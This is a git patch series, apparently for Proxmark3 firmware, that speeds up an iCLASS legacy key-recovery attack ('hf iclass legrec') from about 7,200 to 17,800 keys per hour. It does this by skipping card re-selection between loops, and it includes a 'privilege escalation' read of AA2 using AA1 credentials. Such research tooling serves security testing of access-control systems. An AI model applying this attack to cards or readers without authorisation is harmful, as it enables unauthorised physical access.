From d654f6e78f8bb252847e5b1279b530dadcabd9db Mon Sep 17 00:00:00 2001 From: Antiklesys Date: Wed, 4 Jun 2025 22:34:28 +0800 Subject: [PATCH 1/4] Improved hf iclass legrec speed Improved the speed of hficlass legrec from 7200 keys / hrs to 17800 keys / hr by removing the need to drop the field and re-select, re-authenticate with the card at every loop. Re-select and re-authenticate will still happen if there's a read error and a loop needs to be repeated. --- armsrc/iclass.c | 108 ++++++++++++++++++++++++++++----------- client/src/cmdhficlass.c | 2 +- 2 files changed, 78 insertions(+), 32 deletions(-) diff --git a/armsrc/iclass.c b/armsrc/iclass.c index b95a174a8..32d1b48de 100644 --- a/armsrc/iclass.c +++ b/armsrc/iclass.c @@ -2669,39 +2669,18 @@ void iClass_Recover(iclass_recover_req_t *msg) { //START LOOP uint32_t loops = 1; - - while (bits_found == -1) { - bool card_select = false; - bool card_auth = false; - int reinit_tentatives = 0; - uint8_t original_mac[8] = {0}; - uint16_t resp_len = 0; - int res2; - uint8_t resp[10] = {0}; - uint8_t mac1[4] = {0}; - uint8_t mac2[4] = {0}; - picopass_hdr_t hdr = {0}; - bool res = false; - int status_message = 0; + bool card_select = false; + bool card_auth = false; + bool priv_esc = false; + int status_message = 0; + int reinit_tentatives = 0; + bool res = false; + picopass_hdr_t hdr = {0}; + uint8_t original_mac[8] = {0}; + uint8_t mac1[4] = {0}; while (!card_select || !card_auth) { - if (BUTTON_PRESS() || loops > msg->loop) { - if(loops > msg->loop){ - completed = true; - }else{ - interrupted = true; - } - goto out; - } - - if (msg->test) { - Dbprintf(_YELLOW_("*Cycled Reader*") " TEST Index - Loops: "_YELLOW_("%3d / %3d") " *", loops, msg->loop); - }else if (msg->debug){ - Dbprintf(_YELLOW_("*Cycled Reader*") " Index: "_RED_("%3d")" Loops: "_YELLOW_("%3d / %3d") " *", index, loops, msg->loop); - }else{ - DbprintfEx(FLAG_INPLACE, "[" _BLUE_("#") "] Index: "_CYAN_("%3d")" Loops: "_YELLOW_("%3d / %3d")" ", index, loops, msg->loop); - } Iso15693InitReader(); //has to be at the top as it starts tracing if (!msg->debug) { set_tracing(false); //disable tracing to prevent crashes - set to true for debugging @@ -2739,10 +2718,68 @@ void iClass_Recover(iclass_recover_req_t *msg) { } } + while (bits_found == -1) { + + reinit_tentatives = 0; + int res2; + uint8_t resp[10] = {0}; + uint8_t mac2[4] = {0}; + res = false; + uint16_t resp_len = 0; + + if (BUTTON_PRESS() || loops > msg->loop) { + if(loops > msg->loop){ + completed = true; + }else{ + interrupted = true; + } + goto out; + } + + if (msg->test) { + Dbprintf(_YELLOW_("*Cycled Reader*") " TEST Index - Loops: "_YELLOW_("%3d / %3d") " *", loops, msg->loop); + }else if (msg->debug || (!card_select && !card_auth)){ + Dbprintf(_YELLOW_("*Cycled Reader*") " Index: "_RED_("%3d")" Loops: "_YELLOW_("%3d / %3d") " *", index, loops, msg->loop); + }else{ + DbprintfEx(FLAG_INPLACE, "[" _BLUE_("#") "] Index: "_CYAN_("%3d")" Loops: "_YELLOW_("%3d / %3d")" ", index, loops, msg->loop); + } + + while (!card_select || !card_auth) { + + Iso15693InitReader(); //has to be at the top as it starts tracing + + //Step0 Card Select Routine + eof_time = 0; //reset eof time + res = select_iclass_tag(&hdr, false, &eof_time, shallow_mod); + if (res) { + status_message = 1; //card select successful + card_select = true; + } + + //Step1 Authenticate with AA1 using trace + if (card_select) { + memcpy(original_mac, msg->req.key, 8); + start_time = eof_time + DELAY_ICLASS_VICC_TO_VCD_READER; + res = authenticate_iclass_tag(&msg->req, &hdr, &start_time, &eof_time, mac1); + if (res) { + status_message = 2; //authentication with AA1 macs successful + card_auth = true; + } + } + if (!card_auth || !card_select) { + reinit_tentatives++; + switch_off(); + } + if (reinit_tentatives == 5) { + DbpString(""); + DbpString(_RED_("Unable to select or authenticate with card multiple times! Stopping.")); + goto out; + } + } + //Step2 Privilege Escalation: attempt to read AA2 with credentials for AA1 uint8_t blockno = 24; int priv_esc_tries = 0; - bool priv_esc = false; while (!priv_esc) { //The privilege escalation is done with a readcheck and not just a normal read! start_time = eof_time + DELAY_ICLASS_VICC_TO_VCD_READER; @@ -2761,6 +2798,11 @@ void iClass_Recover(iclass_recover_req_t *msg) { goto out; } } + if(priv_esc && status_message != 3){ + start_time = eof_time + DELAY_ICLASS_VICC_TO_VCD_READER; + iclass_send_as_reader(read_check_cc, sizeof(read_check_cc), &start_time, &eof_time, shallow_mod); + status_message = 3; + } //Step3 Calculate New Key (Optimised Algo V2) generate_single_key_block_inverted_opt(zero_key, index, genkeyblock); @@ -2895,9 +2937,13 @@ void iClass_Recover(iclass_recover_req_t *msg) { if (write_error && (msg->debug || msg->test)) { //if there was a write error, re-run the loop for the same key index DbpString("Loop Error: "_RED_("Repeating Loop!")); + card_select = false; + card_auth = false; + priv_esc = false; }else{ loops++; index++; + status_message = 2; } }//end while diff --git a/client/src/cmdhficlass.c b/client/src/cmdhficlass.c index 5a87babff..5a6cee086 100644 --- a/client/src/cmdhficlass.c +++ b/client/src/cmdhficlass.c @@ -4842,7 +4842,7 @@ static int CmdHFiClassLegacyRecSim(void) { PrintAndLogEx(SUCCESS, "Original Key: " _GREEN_("%s"), sprint_hex(original_key, sizeof(original_key))); PrintAndLogEx(SUCCESS, "Weak Key: " _GREEN_("%s"), sprint_hex(key, sizeof(key))); PrintAndLogEx(SUCCESS, "Key Updates Required to Weak Key: " _GREEN_("%d"), index); - PrintAndLogEx(SUCCESS, "Estimated Time: ~" _GREEN_("%d")" hours", index / 7250); + PrintAndLogEx(SUCCESS, "Estimated Time: ~" _GREEN_("%d")" hours", index / 17800); } index++; From a5ee3f50b63b7fd84b749eb3a6aea1303cced900 Mon Sep 17 00:00:00 2001 From: Antiklesys Date: Wed, 4 Jun 2025 22:35:49 +0800 Subject: [PATCH 2/4] Update CHANGELOG.md --- CHANGELOG.md | 1 + 1 file changed, 1 insertion(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index f2395069c..4f8a2d05e 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -3,6 +3,7 @@ All notable changes to this project will be documented in this file. This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log... ## [unreleased][unreleased] +- Changed `hf iclass legrec` - additional code optimizations gaining a ~147% speed increase (@antiklesys) - Changed `hf iclass tear` - readability improvements for erase phase (@antiklesys) - Changed `hf iclass legrec` - code optimizations gaining a ~8% speed increase (@antiklesys) - Modified `hf iclass tear` - now has a device side implementation also. (@antiklesys) (@iceman1001) From 81d7ac1f59437ea223690d1e3f2b03d67458b07b Mon Sep 17 00:00:00 2001 From: Antiklesys Date: Wed, 4 Jun 2025 22:41:30 +0800 Subject: [PATCH 3/4] Update iclass.c Re-added stop tracing in main loop to avoid crashes Signed-off-by: Antiklesys --- armsrc/iclass.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/armsrc/iclass.c b/armsrc/iclass.c index 32d1b48de..17ae33ca3 100644 --- a/armsrc/iclass.c +++ b/armsrc/iclass.c @@ -2747,7 +2747,7 @@ void iClass_Recover(iclass_recover_req_t *msg) { while (!card_select || !card_auth) { Iso15693InitReader(); //has to be at the top as it starts tracing - + set_tracing(false); //disable tracing to prevent crashes - set to true for debugging //Step0 Card Select Routine eof_time = 0; //reset eof time res = select_iclass_tag(&hdr, false, &eof_time, shallow_mod); From 7225ea6ac4723cb238b881cb8a0c459a949b46bf Mon Sep 17 00:00:00 2001 From: Antiklesys Date: Wed, 4 Jun 2025 22:46:44 +0800 Subject: [PATCH 4/4] Update iclass.c Removed unused value of blockno Signed-off-by: Antiklesys --- armsrc/iclass.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/armsrc/iclass.c b/armsrc/iclass.c index 17ae33ca3..066bb5b5e 100644 --- a/armsrc/iclass.c +++ b/armsrc/iclass.c @@ -2778,7 +2778,7 @@ void iClass_Recover(iclass_recover_req_t *msg) { } //Step2 Privilege Escalation: attempt to read AA2 with credentials for AA1 - uint8_t blockno = 24; + uint8_t blockno = 3; int priv_esc_tries = 0; while (!priv_esc) { //The privilege escalation is done with a readcheck and not just a normal read! @@ -2813,7 +2813,6 @@ void iClass_Recover(iclass_recover_req_t *msg) { //Step4 Calculate New Mac uint8_t wb[9] = {0}; - blockno = 3; wb[0] = blockno; memcpy(wb + 1, genkeyblock, 8); doMAC_N(wb, sizeof(wb), div_key2, mac2);